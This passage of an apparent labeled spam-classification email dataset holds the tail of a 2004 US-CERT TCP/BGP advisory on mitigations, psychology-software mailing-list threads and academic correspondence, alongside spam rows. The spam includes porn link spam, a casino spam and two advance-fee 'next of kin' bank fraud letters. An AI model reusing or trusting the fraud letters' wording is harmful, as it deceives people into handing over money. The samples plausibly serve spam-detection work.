corruption or session hijacking to a denial-of-service condition. III. Solution Apply a patch from your vendor Please see you vendor's statement regarding the availability of patches, updates and mitigation strategies. Workaround Deploy and Use Cryptographically Secure Protocols TCP initial sequence numbers were not designed to provide proof against TCP connection attacks. The lack of cryptographically-strong security options for the TCP header itself is a deficiency that technologies like IPSec try to address. It must be noted that in the final analysis that if an attacker has the ability to see unencrypted TCP traffic generated from a site, that site is vulnerable to various TCP attacks - not just those mentioned here. A stronger measure that would aid in protecting against such TCP attacks is end-to-end cryptographic solutions like those outlined in various IPSec documents. The key idea with an end-to-end cryptographic solution is that there is some secure verification that a given packet belongs in a particular stream. However, the communications layer at which this cryptography is implemented will determine its effectiveness in repelling ISN based attacks. Solutions that operate above the Transport Layer (OSI Layer 4), such as SSL/TLS and SSH1/SSH2, only prevent arbitrary packets from being inserted into a session. They are unable to prevent a connection reset (denial of service) since the connection handling will be done by a lower level protocol (i.e., TCP). On the other hand, Network Layer (OSI Layer 3) cryptographic solutions such as IPSec prevent both arbitrary packets entering a transport-layer stream and connection resets because connection management is directly integrated into the secure Network Layer security model. The solutions presented above have the desirable attribute of not requiring any changes to the TCP protocol or implementations to be made. Some sites may want to investigate hardening the TCP transport layer itself. RFC2385 (""Protection of BGP Sessions via the TCP MD5 Signature Option"") and other technologies provide options for adding cryptographic protection within the TCP header at the cost of some potential denial of service, interoperability, and performance issues. Ingress filtering Ingress filtering manages the flow of traffic as it enters a network under your administrative control. You can configure your BGP routers to only accept packets on a specific network connection. Servers are typically the only machines that need to accept inbound connections from the public Internet. In the network usage policy of many sites, there are few reasons for external hosts to initiate inbound connections to machines that provide no public services. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound connections to non-authorized services. In this fashion, the effectiveness of many intruder scanning techniques can be dramatically reduced. Network Isolation Complex networks can benefit by separating data channels and control channels, such as BGP, into different logical or physical networks. Technologies such as VLANs, VPNs, leased links, NAT may all be able to contribute to separating the tranmission of control information from the transmission of the data stream. Egress filtering Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for machines providing public services to initiate outbound connections to the Internet. In the case of BGP, only your BGP routers should be establishing connections to your peers. Other BGP traffic generated on your network could be a sign of an attempted attack. Appendix A. Vendor Information For vendor information, please see NISCC Vulnerability Advisory 236929 ""Vulnerability Issues in TCP"" (http://www.uniras.gov.uk/vuls/2004/236929/index.htm) or Vulnerability Note VU#415294 (http://www.kb.cert.org/vuls/id/415294#systems. As vendors report new information to US-CERT, we will update the vulnerability note. If a particular vendor is not listed in either the NISCC advisory, or the vulnerability, we recommend that you contact them for their comments. _________________________________________________________________ US-CERT thanks Paul Watson, Cisco Systems and NISCC for notifying us about this problem and for helping us to construct this advisory. _________________________________________________________________ Feedback can be directed to the US-CERT Technical Staff. _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use Revision History April 20, 2004: Initial release Last updated April 20, 2004 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAhXn2XlvNRxAkFWARAjKIAKDPl3a6RADvUASZJnIz5MAolUygqACgvUXz crcQkqHTAxSVkcKnMMYLYU0= =54p4 -----END PGP SIGNATURE-----",0,1 hjweiden@email.arizona.edu,DMDX@psy1.psych.arizona.edu,"Tue, 20 Apr 2004 14:57:18 -0700",[DMDX] Re: Digital Video: Solution,"Hello, I finally got Digital Video to work with some kindly advice. I needed the Nimo Codec Pack. I found it at http://nimo.titanesk.com/. I went with Build 8 (they advise that only expert users dabble with the current beta version). I could not get DMDX to play mov files, but authorware like QT Pro or Macromedia Director will convert that format to mpg or avi. If you are going to use the default movie given in the test, it also helps to verify if it is actually on your machine in the named directory (only happened on 1 machine out of 3, but I admit to being baffled for a time there...) ;} HJW Quoting ""Jonathan C. Forster"" : > At 03:25 PM 4/19/2004 -0700, you wrote: > > > I suspect you need to be using XP. Or at the very least reformatting > > > and reinstalling 98 as it just plain stops working past a certain point. > > > >I couldn't make it run on XP either. Has anyone ever got digital video to > work > >in Win98 or XP? I think I must be missing some very basic step... > > Have you tried the DVDEMO? > > http://psy1.psych.arizona.edu/~jforster/dmdx/DVDEMO.ZIP > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > A woman without a man is like a fish without a bicycle. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 Concetta Hatfield ,XXX@XXXXXXXX.XXXXXXX.XXX,"Thu, 22 Apr 2004 07:02:48 -0400",Youngest handsome Girl fuckedd anallyy!," enchanting Lady in hard fuccking. http://comeovrhere.com/xmyhorny.htm?iSPhfd.fX,hj UN$UBSCRIBE http://comeovrhere.com ",1,1 David Chiu ,pwang@cs.kent.edu,"Thu, 22 Apr 2004 05:20:01 -0400",Bi-weekly report,"Guess it's been a while since I sent one of these! I guess the conference at Las Vegas can be filed for the April 1st report. Week of 4/16/04 - Coded several Proportion Modules - Preparing more modules for probabilities - Co-authoring 2 ITE Conference 2004 papers - Web-based Mathematics Education Pilot Website - Server-side Support for Generating and Customizing WME Web Pages - Familiarizing with IPC for MathChat server implementation - Creating more use cases and UML diagrams in preparation of implementation ",0,0 """EL Turner, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Thu, 22 Apr 2004 17:02:22 +0100",[DMDX] Re: randomised inter trial intervals,"Hi, I asked a question a while ago about randomising the ISI, thanks very much for the suggestion of using the ""set c1="" expression (below) +1 / <%ctr 1> / ; I have since been having problems with the clock on command, it is no longer recognised..... I have tried including it in <*> rather than just * alone, also tried using I have included a sample from my item file below, any suggestions would be really appreciated....... n54 s54 t5000 +250 < ! %60 ""+""/ %0 x370 ""read"" / ! %30 x225 ""write"" / %0 x370 * ""_____"" / ! x225 "" ""> / <%ctr 1> / ; I would also like the last frame before the random delay to remain on screen until the participant responds, so is it possible to include the ""set c1="" at the beginning of an item with a blank frame following it? Thanks for your help Emma ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 22 Apr 2004 10:08:49 -0700",[DMDX] Re: randomised inter trial intervals,"At 05:02 PM 4/22/2004 +0100, you wrote: >Hi, > >I asked a question a while ago about randomising the ISI, thanks very much >for the suggestion of using the ""set c1="" expression (below) >+1 / <%ctr 1> / ; > >I have since been having problems with the clock on command, it is no >longer recognised..... I have tried including it in <*> rather than just * >alone, also tried using Clockons in frames with no duration is probably not a good idea. >I have included a sample from my item file below, any suggestions would be >really appreciated....... > >n54 s54 t5000 > >+250 < ! %60 ""+""/ %0 x370 ""read"" / ! %30 x225 ""write"" / %0 x370 * ""_____"" >/ ! x225 "" ""> / <%ctr 1> / ; > >I would also like the last frame before the random delay to remain on >screen until the participant responds, so is it possible to include the >""set c1="" at the beginning of an item with a blank frame following it? Yep. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where profit is, loss is hidden nearby. - Japanese proverb",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 22 Apr 2004 16:07:58 -0700",[DMDX] Re: randomised inter trial intervals,"At 10:08 AM 4/22/2004 -0700, you wrote: >>+250 < ! %60 ""+""/ %0 x370 ""read"" / ! %30 x225 ""write"" / %0 x370 * >>""_____"" / ! x225 "" ""> / <%ctr 1> / ; Not to mention the fact that the frame with the clockon in it is in a comment keyword... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Where profit is, loss is hidden nearby. - Japanese proverb",0,0 """Mr. Alex Ulu"" ",Sheree ,,Message From Mr. Alex,"PLOT 324 WALTER CORRINTON DRIVE VI Pretoria South Africa +27-73-225-5425 Greetings, I am Mr. Alex ulu, a Chief Accountant Auditor with Standard BANK Of South Africa.On 14 October 1999, an American mining consultant/contractor with the South African Agip Energy and Natural Resources plc, Mr. Andreas Schranner made a numbered time (Fixed) Deposit for twelve (12) calendar months, valued at US$ 14 Million United States Dollars in my branch but i want to first make the transfer of $7 Million United States Dollars?Upon maturity, I sent a routine notification to his forwarding address butgot no reply. After a month, we sent a Reminder and finally we discovered that Mr. Andreas Schranner was dead. He died in the plane crash of 31 July2000, below: http://news.bbc.co.uk/1/hi/world/europe/859479.stm I therefore made further investigation and discovered That Mr. Andreas Schranner did not declare any next of kin or relations in all his official documents, including his Bank Deposit paperwork in my Bank. This sum of US$7, Million United States Dollars is still sitting in my Bank and the interest is being rolled over with the principal sum at the end of each year. No one will ever come forward to claim it. According to South African Law, at the expiration of 10 (Ten) years, the money will revert to the ownership of the South Africa Government if nobody applies to claim the fund as unclaimed fund. Consequently, my proposal is that I will like you as a Foreigner to stand in as the next of kin to Mr. Andreas Schranner so that the fruits of this old man's labor will not get into the hands of some corrupt government officials. I will prepare the necessary documents and affidavits that will put you in place as the next of kin. A bank account in any part of the world that you will provide will then facilitate the transfer of this money to you as the beneficiary/next of kin. The money will be paid into your account for us to share in the ratio of 60% for me and 40% for you. There is no risk at all as all the paperwork for this transaction will be done by the attorney and my position as the Branch Manager guarantees the successful execution of this transaction. All I require is your honest cooperation to enable us see this business if you are interested Please observe utmost confidentiality, and rest assured that this transaction would be most profitable for both of us because I shall require your assistance to invest my share in your country. Upon your response, I shall then provide you with more details and relevant documents that will help you understand the transaction. Best regards, Alex Ulu 25th April 2006.",1,1 """EL Turner, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Mon, 26 Apr 2004 17:04:37 +0100",[DMDX] Re: Counter value,"Hi, Quick question about the counter value, when using the random counter expression <%ctr 1> I have been occasionally getting an error message..... ""Counter 1 value 0 <= 0, cannot use as frame duration"" Any suggestions as to how I can prevent the random value being 0(causing DMDX to stop running), I include +30 so the shortest duration of the next frame is at least 500msec. Thanks Emma ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 26 Apr 2004 09:21:47 -0700",[DMDX] Re: Counter value,"At 05:04 PM 4/26/2004 +0100, you wrote: >Hi, > >Quick question about the counter value, when using the random counter >expression <%ctr 1> > >I have been occasionally getting an error message..... ""Counter 1 value 0 ><= 0, cannot use as frame duration"" > >Any suggestions as to how I can prevent the random value being 0(causing >DMDX to stop running), I include +30 so the shortest duration of the next >frame is at least 500msec. DMDX stops with the + 30 in there? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Never make anything foolproof. Fools are too ingenious. - Anonymous",0,0 Mauricio ,XXX@XXXXXXXX.XXXXXXX.XXX,"Mon, 26 Apr 2004 15:59:57 -0700",heavenly Young Teenie so pulchritudinous and younng.," Young scenic virggins at hardcoree Poorno. http://cardgamesales.info/pwmilfrider.htm?iSPhfd.fX,hj U-N-$-U--B-$-C-R-l-B-E http://cardgamesales.info ",1,1 """Peter B. Maggs"" ",Einde O'Callaghan ,"Mon, 26 Apr 2004 15:52:19 -0500",Re: Pashukanis texts,"Academic Press formally released the copyright back to myself and the editors when the book went out of print and they had no plans to reprint it. My coauthors and I agreed to put it on the Internet, so it would be available to the world. We would be delighted if you would copy it to your site, as long as you give appropriate attribution and credit. Peter Maggs ----- Original Message ----- From: ""Einde O'Callaghan"" To: Cc: ""MIA"" Sent: Monday, April 26, 2004 3:44 PM Subject: Pashukanis texts > Dear Professor Maggs, > > I work as a volunteer on the Marxists' Internet Archive > (http://www.marxists.org) and while dealing with a query from one of our > readers concerning Marxism and law I came across your selection of texts > by Evgeny Pashukanis. > > Since he is perhaps the primary Russian Marxist theoretician in this > field it would be a great addition to our archive if we could add an > Evegeny Pashukanis Internet Archive to our collection. I would therefore > like your permission to copy your versions, which we would then adapt to > our standard mark-up. We would, of course, credit your site (and your > book) as the source. > > I presume you are the copyright holder since you translated the texts > yourself. Or is the copyright holder perhaps Academic Press, who > published the book? If the latter is the case who should we approach to > get copyright clearance? > > We will also be investigating the possibility of getting permission to > publish on-line the translation of the 3rd Russian edition of ""General > theory ..."", originally published by Pluto Press in the 1970s. > > I look forward to hearing from you soon. > > Best wishes, Einde O'Callaghan (for MIA) >",0,1 """EL Turner, Experimental Psychology"" ",DMDX@psy1.psych.arizona.edu,"Tue, 27 Apr 2004 10:38:56 +0100",[DMDX] Re: Counter value,"--On Monday, April 26, 2004 9:21 AM -0700 ""j.c.f."" wrote: DMDX stops with the + 30 in there? Yes it does. Emma > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Never make anything foolproof. Fools are too ingenious. > - Anonymous > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 27 Apr 2004 08:46:11 -0700",[DMDX] Re: Counter value,"At 10:38 AM 4/27/2004 +0100, you wrote: >--On Monday, April 26, 2004 9:21 AM -0700 ""j.c.f."" > wrote: > > DMDX stops with the + 30 in there? > >Yes it does. > >Emma Hmm, that shouldn't be possible. Would you mind sending me (not the list) the whole item file? I'm willing to belive that one of your items is malformed before I'll start thinking that the expression parser is faulty. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Never make anything foolproof. Fools are too ingenious. - Anonymous",0,0 amigo_ug1@zonai.com,XXX@XXXXXXXX.XXXXXXX.XXX,"Tue, 27 Apr 2004 23:18:10 -0400",URGENT REPLY (NEXT OF KIN),"FROM: TONY OWEN TEL:011-874-7622-77565 FAX:011-874-7622-77567 EMAIL:amigo_ug@yahoo.co.uk Dear Sir, I am TONY OWEN , Bank manager of TRADEVCO bank of LIBERIA, . I have urgent and very confidential business proposition for you. On june 6, 1999, an American mining consultant/contractor with the Liberia mining corporation, Mr ROBERT FISHER made a numbered time (fixed) Deposite for twelve (12) calendar months, valved at US$18,.500,000.00(EIGHTEEN MILLION,FIVE HUNDRED THOUSAND US DOLLARS) in my branch.Upon maturity, I sent a routine notification to his faaorwarding address but got no reply. After a month, we sent a reminder and finally we discovered from his contract employers, the LIBERIAN mining corporation that Mr ROBERT FISHER died from an automobile accident. On further investigation, I found out that he died without making a (WILL) and all attempts to trace his next of kin was fruitless. I therefore made further investigation and discovered that Mr ROBERT FISHER did not declare any kin or relation in his official documents, including his Bank deposite paper work in my Bank.This sum US$18.5000.000.00 is still sitting in my Bank and the in terest is being rolled over with the principal sum at the end of each year.No one has ever come forward to claim the fund.According to our LIBERIAN Law, at the expiration of 5 (five) years, the money will revert to the ownership of the Liberian governmen t if nobody applies to claim the funds. Consequently,my proposal is that I would like you to stand in as the next of kin to Mr ROBERT FISHER so that the fruits of this old mans labour will not get into the hands of some corrupt government officials. This is simple, I will like you to provide immediately your full name and address so that an Attorney will prepare the necessary documents and affidavits which will put you in place the next of kin. We shall employ the service of an accredited Attorney for the drafting and notarization of the WILL and to obtain the necessary documents and the of probate/adminisration in your favour for the tranfer. A bank account in any part of the world which you will provide will then facilitate the tranfer of this money to you as the beneficiary/next of kin. The money will be paid into your account for us to share in the ration of 60% for me and 40% for you. There is no risk at all as the paper work for this transaction will be done by the Attorney and my position as the branch manager guarantees the successful execution of this transaction. If you are interested, please reply immediately via telephone or fax number above or through my private email address above. Upon your response, I shall then provide with more details and relevant documents that will help you to understand the ansaction. Please observe utmost confidentiality, and rest assured that this transaction would be most profitable for both of us because I shall require your assistance to invest my share in your country. Awaiting your urgent reply through telephone and fax above or my email address. Best regards, TONY OWEN ------------------------------------------ Este mensaje fue enviado usando ZONAiMail. ""Registra tu buzón con ZONAi ya!"" XXXX://www.zonai.com ",1,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 28 Apr 2004 11:57:09 -0700",[DMDX] Re: Counter value,"Well there is indeed a fault with the expression parser. random(113) + 38 sometimes evaluates to < 38 and sometimes > 113. 38 + random(113) would appear to be ok so use that till I spend some quality time with debugger... At 11:52 AM 4/28/2004 -0700, you wrote: >Hi Jonathan, > >I have attached the item file. Thanks for looking at it. > >Emma > >--On Tuesday, April 27, 2004 8:46 AM -0700 ""j.c.f."" > wrote: > >>At 10:38 AM 4/27/2004 +0100, you wrote: >>>--On Monday, April 26, 2004 9:21 AM -0700 ""j.c.f."" >>> wrote: >>> >>> DMDX stops with the + 30 in there? >>> >>>Yes it does. >>> >>>Emma >> >> Hmm, that shouldn't be possible. Would you mind sending me (not the >>list) the whole item file? I'm willing to belive that one of your items >>is malformed before I'll start thinking that the expression parser is >>faulty. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why doesn't DOS ever say ""EXCELLENT command or filename!""",0,0 Jonas Liljestr�m ,ECD-AT-ssrl04.slac.stanford.edu,"Thu, 29 Apr 2004 13:21:51 +0200",Re: New member,"Hi Cammy et al.! In response to your request for information on the British music tradition on the Swedish west coast, I'm sending along a few extracts from my Ph D application, where I outline the subject and describe the aspects that I'm particularly interested in. Any comments or questions are more than welcome! Enjoy! Kind regards, Jonas ""I intend to undertake research on the influence of British and Irish music on Swedish folk music from the latter half of the 17th century until the present day. Examples of possible angles from which to approach this research would be to investigate the connections and kinship between different types of tunes (for example “engelskor” and British “hornpipes”, or the “rill/rull/rell” in Sweden and Norway and the “reel” in Scotland and Ireland), or how recent folk music bands such as “Atlantiska Orkestern” and “Orust” are emphasizing the kinship between the different traditions. According to Magnus Gustavsson, a musicologist at “Smålands Musikarkiv” (“The Music Archive of Småland County”), it appears that the influx of music from the British Isles can be divided into three separate periods. The first began during the second half of the 17th century, when melodies of British origin began to appear in Nordic music books in large numbers. The melodies often had clear parallels with contemporary British collections, such as the highly popular “The English Dancing Master” (1651) by John Playford (1623-1686). One of the most popular dances of British origin in Sweden during this period was the gigue, which exists today mainly in Scottish and Irish tradition, under the name “jig”. The second period of diffusion pointed out by Gustavsson was during the second half of the 18th century, when a number of stylized French “engelskdanser” (=”dances in the English (i.e. British) style”) became popular in Sweden. One of the most prominent dances is called “kontradans” (“contradance”). The name is derived from the English term “Country Dance”, and a significant feature of the dance is that it is performed by several dancers standing in parallel lines or in different geometrical figures. It is still practised in Anglo-American traditions, known as “line dance” or “square dance”. Interest in the “kontradans” originally spread to the Nordic countries from France, but of the melodies that have been written down only a few are of French origin – the majority have clear parallels in the musical tradition of the British Isles. The third period pointed out by Gustavsson was at the beginning of the 19th century, when a large number of melodies appeared in Swedish collections with parallels in the British reel tradition. The reel is Scottish in origin, and during the second half of the 18th century it began to spread to Ireland and other neighbouring areas. The presence of melodies with a foundation in the reel tradition in Swedish music books from the turn of the century, appears to indicate that this repertoire also reached Sweden during that period or soon afterwards. The reason why reels, jigs and other British/Irish dances did not achieve any dominant position in the Nordic countries was that they had to compete with a strong and well-established “polska” and “springar” tradition. Nevertheless, a remnant of the Anglo-Saxon repertoire survived and has been kept alive to this day, for example in the form of “engelskor” in Sweden and “rilar” in southern Norway. /.../ Fundamental questions at issue Below is a presentation of the questions which I currently find most relevant, and which I intend to investigate in my research. 1. Is it possible to prove scientifically that “English melodies” spread throughout Western Europe during three relatively clearly demarcated periods? - the late 17th century - the late 18th century - the early 19th century What caused these periods of diffusion? Which melodies (types of melodies) spread during the respective periods? What is the earliest evidence of the occurrence of the different types of melodies in the Nordic countries, and how have they expanded and developed? Some examples follow: In older Nordic collections of dances and melodies there are clear parallels with British collections from the same period, for example John Playford’s “The English Dancing Master”, and as early as the 1670s and ’80s the jig (“gigue”) started to become a common feature in Swedish dance music. How did this music come to Sweden? Playford’s collection was very popular in its day, and a large number of copies were printed; is it, for example, possible that some of them ended up in Sweden? In that case, how did the music and dance become incorporated into the domestic repertoire? Personally, I should imagine that one possible reason why music and dances of British origin began to crop up in Sweden during this particular period could be that it was during this time that the republican regime of Oliver Cromwell (1599-1658) fell. The republicans had assumed power by revolution and by deposing King Charles I – an action which provoked extremely negative reactions in other parts of Europe. In his book “Svenskt och brittiskt” (“Swedish and British”), Birger Steckzén relates how a large number of Swedes travelled to England after the restoration of the monarchy in 1660, for instance to study at English universities. In Sweden, these contacts resulted in a growing interest in English culture. Could this have been a contributory factor to the influx of British melodies and dances in this period? Then we have the problem of the many stylized French dances of English origin – for example the contradances – which become popular in Sweden during the 18th century. They are a common feature in Swedish fiddlers’ books during the 1770s and later, but it is very seldom a matter of tunes which are French in origin. On the contrary, they usually have direct parallels in the reel and hornpipe traditions of the British Isles. This begs the question of how large a part of the Nordic “engelska” repertoire was indeed passed on via France in the form of contradances and anglaises? According to Magnus Gustavsson, there is plenty of circumstantial evidence that suggests that the “reel”, after having broken out of its area of origin in Scotland, reached Scandinavia – and was incorporated into the dance repertoire here – virtually as early as it reached Ireland. Can this hypothesis be verified? 2. How has the “engelska” repertoire in Sweden developed and changed since the 19th century? The Gothenburg fiddler Göran Premberg has, for example, pointed out an alteration in the playing of “engelska” tunes in Bohuslän county during the 20th century. He has drawn attention to the occurrence of two older bowing techniques which gradually disappeared during this period and which, he claims, have great similarities to two northern English bowing styles called “the Newcastle Style” and “the Sand Dance Style”. They were common around the turn of the 19th century, and were passed on by occasional carriers of tradition such as the Bohuslän fiddlers Ernst Abrahamsson and David Andersson. What constituted these techniques, when did they disappear and for what reason? How has this tradition been used in our time, for example by bands such as “Atlantiska Orkestern” and “Orust”? In what way was the playing and reception of Swedish folk music of British/Irish origin changed by the National Romantic movement of the 19th century, when in certain circles folk music became regarded as an expression of the “national character”? Did music of obviously foreign origin become marginalized, or could it still be played and documented on equal terms with other types of melodies? If it should turn out that the four years I have at my disposal are insufficient to enable me to complete my research, it would probably be necessary for me to concentrate solely on the first point, and deal with the other issues as a separate project after I have completed my PhD. However, I intend to leave the question of priorities and limitations open until I start my research. Another important aspect of the subject which must not be forgotten, is the role of dance in this context. The music I intend to deal with in my research is, after all, intended to be danced to. I have discussed this with Mats Nilsson in the Department of Ethnology at Gothenburg University, and he has, among other things, pointed out the differences between the “engelska” as music, the “engelska” as dance and the “engelska” as a term. The fact is that a type of music, a type of dance and a type of term do not necessarily appear at the same time in history. The fact that a type of music appears in Swedish collections at a certain time does not necessarily mean that the type of dance which belongs to the music had yet been introduced. The music and the dance could have travelled along different paths. Nor is it certain that a particular type of dance has always been danced in the same manner. What we, for instance, call the “jig” today is not necessarily the same type of dance as it was in the 17th century. In order to gain a general view of possible parallels between dance forms in the Nordic countries and the British Isles, one would have to look at contemporary descriptions of the dances in question. /.../ Where the research stands As far as I have been able to discern, there is no research that deals specifically with British/Irish influences on Swedish folk music – on the whole, there is in fact very little research about the “engelska” as a type of music. On the other hand, there is research concerning different aspects of the subject matter, which, in combination, may provide a general picture. Documents and recordings of contradances, “engelskor” etc. from the 17th century onwards may constitute interesting comparative material, which will make it possible to delineate the spread of different melodies and as far as possible ascertain their earliest appearance in the Nordic countries. It will also be possible to determine how the playing of melodies has changed over time. (1) Examples of such material are Johan Jacob Anckarström’s book of dances from the 1760s, Carl-Gustaf Tullberg’s book of fiddle tunes from 1822 (which, for instance, contains clearly identifiable versions of the melodies “The Irish Washerwoman” and “Lord MacDonald’s Reel”), and Jacob Mestmacher’s music book from the mid-18th century. More recent documents which might prove useful include, for example, the field recordings of folk music from Bohuslän county made by the musicologist and folk music expert Märta Ramsten in the 1960s, and “Gamla danser i Skåne: engelskor” (“Old Dances in Scania:engelskor”) by Börje Wallin, which contains documentation of dances and melodies covering a period from the 1830s to the 1940s. Svenskt visarkiv (“The Centre for Swedish Folk Music and Jazz Research”), the music archives of Småland county and similar archives elsewhere in the Nordic countries (and in the British Isles) are likely to contain plenty of useful information. /.../"" 2004-04-27 kl. 18.08 skrev Campbell Kaynor: > > > > > Welcome Jonas! > > My name is Campbell Kaynor and I am probably best known as a New > England > (USA) contradance caller. My focus in Scandinavian music and dance has > been > the Vasterdala region from Appelbo, Vansbro, Dala Jarna.... but I am on > this list because I also enjoy the dances and melodies brought to > America > by the first settlers from England. I have long been intrigued with the > number of tunes and dances (especially from the west coastal regions of > sweden) that were shared across the water but have never had the > leisure to > probe deeply. Perhaps you can enlighten us? > > Cheers, Cammy > > When a stupid man is doing something he is ashamed of, he always declares that it is his duty. --George Bernard Shaw ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 29 Apr 2004 16:34:37 -0700",[DMDX] expression evaluator," Hmm, got a lulu here. It's the design of the expression evaluator that's busted which means fixing it is likely to be really entertaining. Basically random(100) + 101 is evaluated as random(100 + 101). So if you're going to be using the functions max, min, abs, or random till I figure out how to fix the parser (and that could be a while, it's a recursive little mess of a beast) then have the function be the rightmost element. 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Knowing as much as I now do about expression parsers it's within the realm of possibility that I'll re-write the parenthesis handling but more than likely I'll toss Bob's code and use someone else's, even if it is a bunch of work to reintegrate all the DMDX bits. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He that forecasts all difficulties that he may meet with in business, will never set about it. - James Kelly Scottish Proverbs, 1721 ",0,0 Johnathan Seay ,DMDX@psy1.psych.arizona.edu,"Wed, 05 May 2004 12:38:33 -0400","Please, sign it","""They're doing something worse to Him,"" said Lucy. ""Come on!"" And she turned, pulling Susan round with her. Hey Dude! Crank up your speakers Grab a coctail and Get ready for a truly superb -C-A-S-1-N-0- $1,7 MILLI0N - J@ckp0t, $888 - Welc0me-b0nus She didn't smile. ""I feel fine,"" she told him, rubbing her arm. ""Just confused. And tired. The police asked me questions for hours. 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After considering research into other colleges' and universities' calendars (states of SC, PA, FL, TX, NY, NJ, GA, VA, MA), we voted to recommend that the Fall 2005 semester start sooner: International and new students would arrive Monday 8/22, transfer students arrive and advising and registration for them and new students on Tuesday 8/23, classes begin Wednesday 8/24. Classes would be held on Labor Day. Exams would end on Tuesday, 12/13. There are many reasons to support the revised fall schedule. First, the faculty are in meetings 8/16 (Senate), 8/17 (orientation and Community Day), 8/18 (Development Day and faculty meetings). If department meetings (the only thing scheduled for 8/19) were moved to 8/18, Friday the 19th could then be used for advising (or even a last three day weekend off). Classes would begin on Wednesday 8/24. As it is, faculty must report by the 17th but have nothing scheduled for most of the next week. This would be a more efficient use of everyone's time. Second, we would not end the semester so close to Christmas. This has several advantages, too. Students who must fly home (especially international students) would have many more flight options than they would if the last day of exams were Friday, 12/16. They also would likely have better price options. Faculty would have final grades in by Friday, 12/16, so they would be less pressed (in the 2003-2004 fall semester, final grades were due on 12/23) to get grades in. The committee strongly preferred having a few more vacation days before Christmas Day. The revised schedule would also allow for a slightly longer Christmas break. It would save money by not having the dorms and cafeteria open for so long at the beginning of the semester. The only change to the Spring 2006 semester involved Martin Luther King, Jr. day. The committee has already voted to recommend having that day be the Community Service Day (details in the previous committee minutes). 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Upon receipt of your reply, I will send to you the text of application which you will fax to my bank. Note that this transaction requires utmost confidentiality. And I am assuring you that it is 100% risk free. So you need not be afraid. I expect a positive response from you soonest. Best regards, Mr. Leo Echendu. Accounts & Audit Dept. Hallmark Bank Ltd NOTE:PLEASE REPLY VAI E-MAIL:chenduleo@zonai.com ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 07 May 2004 18:07:00 -0700",[DMDX] Re: Fragment Completion task,"At 02:15 PM 5/7/2004 -0700, you wrote: >Hello everyone, I have a question regarding typing responses into the >computer during a fragment completion target id task. My question for >the group, "" Is it possible to get DMDX to compare the target typed in >with some reference list of correct items such that the program can give >the subject feedback?"" No. Our experience has been that subjects are such woeful typists that this is meaningless functionality to add. I think we considered having Naming Task Negation handle this but I'm not sure if we ever coded it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It's always darkest before dawn. So if you're gonna steal the neighbor's newspaper, that's the time to do it. ",0,0 �� ���� ,sheree@saintleo.edu,"Thu, 09 Jan 1936 21:50:04 +0000",���� ��!��! ���� ���ٰ��մϴ�..�ѹ� ��û�غ����� ��732��59�ٴٻ�,����xc��lewmbna���� ��������������������������������������������    ������������������ ���� ����������������   ������ ������  �������� ������ ������������     ��GO! GO! GO!   �������������������������������������������� ����������35624,1,1 """Dr. Gregory J. DiGirolamo"" ",DMDX@psy1.psych.arizona.edu,"Sat, 08 May 2004 08:56:27 +0100",[DMDX] zil ,"Dear All, We are trying to get a simple experiment running where we present a number for 500 msecs (37 ticks), and then following subjects response, have a delay of 100 msecs (8 ticks) before the next stimulus occurs. We accomplished this specifying the fd for each stimulus on each line, and putting a parameter in the header with a . However, as we are doing this with fMRI we wanted the zil output so we could also get a measure of when the scans were being acquired. The correct timing for the experiment would only work if the output was azk, but not zil. Any thoughts/suggestions? Thank you for your help in advance. Best, Gregg",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 08 May 2004 05:57:58 -0700",[DMDX] Re: zil ,"At 08:56 AM 5/8/2004 +0100, you wrote: >Dear All, > We are trying to get a simple experiment running where we present a > number for 500 msecs (37 ticks), and then following subjects response, > have a delay of 100 